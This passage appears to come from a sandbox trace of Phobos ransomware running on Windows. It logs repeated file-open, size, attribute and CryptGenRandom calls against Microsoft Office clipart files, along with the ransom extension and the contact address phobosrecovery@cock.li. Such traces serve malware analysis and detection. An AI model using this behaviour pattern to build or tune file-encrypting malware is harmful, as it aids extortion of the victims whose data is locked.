files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220 [0149.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.586] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.586] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1648) returned 1 [0149.586] CloseHandle (hObject=0x580) returned 1 [0149.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220 [0149.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.587] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.587] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3128) returned 1 [0149.587] CloseHandle (hObject=0x580) returned 1 [0149.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220 [0149.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.587] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.588] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2070) returned 1 [0149.588] CloseHandle (hObject=0x580) returned 1 [0149.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220 [0149.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.589] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.589] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3764) returned 1 [0149.589] CloseHandle (hObject=0x580) returned 1 [0149.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220 [0149.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.590] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.591] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2472) returned 1 [0149.591] CloseHandle (hObject=0x580) returned 1 [0149.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220 [0149.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.592] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.593] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2232) returned 1 [0149.593] CloseHandle (hObject=0x580) returned 1 [0149.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220 [0149.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.594] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.595] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1026) returned 1 [0149.595] CloseHandle (hObject=0x580) returned 1 [0149.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220 [0149.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.595] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.596] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3286) returned 1 [0149.596] CloseHandle (hObject=0x580) returned 1 [0149.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0149.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.596] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.597] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1960) returned 1 [0149.597] CloseHandle (hObject=0x580) returned 1 [0149.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0149.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.597] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.598] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3662) returned 1 [0149.598] CloseHandle (hObject=0x580) returned 1 [0149.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0149.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.598] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.769] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3016) returned 1 [0149.769] CloseHandle (hObject=0x560) returned 1 [0149.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0149.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.771] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.851] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1324) returned 1 [0149.851] CloseHandle (hObject=0x560) returned 1 [0149.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0149.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.852] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.852] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7932) returned 1 [0149.852] CloseHandle (hObject=0x560) returned 1 [0149.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0149.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.854] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.855] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5552) returned 1 [0149.855] CloseHandle (hObject=0x560) returned 1 [0149.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0149.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.856] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.856] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4970) returned 1 [0149.856] CloseHandle (hObject=0x560) returned 1 [0149.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0149.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.857] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.857] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3082) returned 1 [0149.857] CloseHandle (hObject=0x560) returned 1 [0149.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0149.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.858] 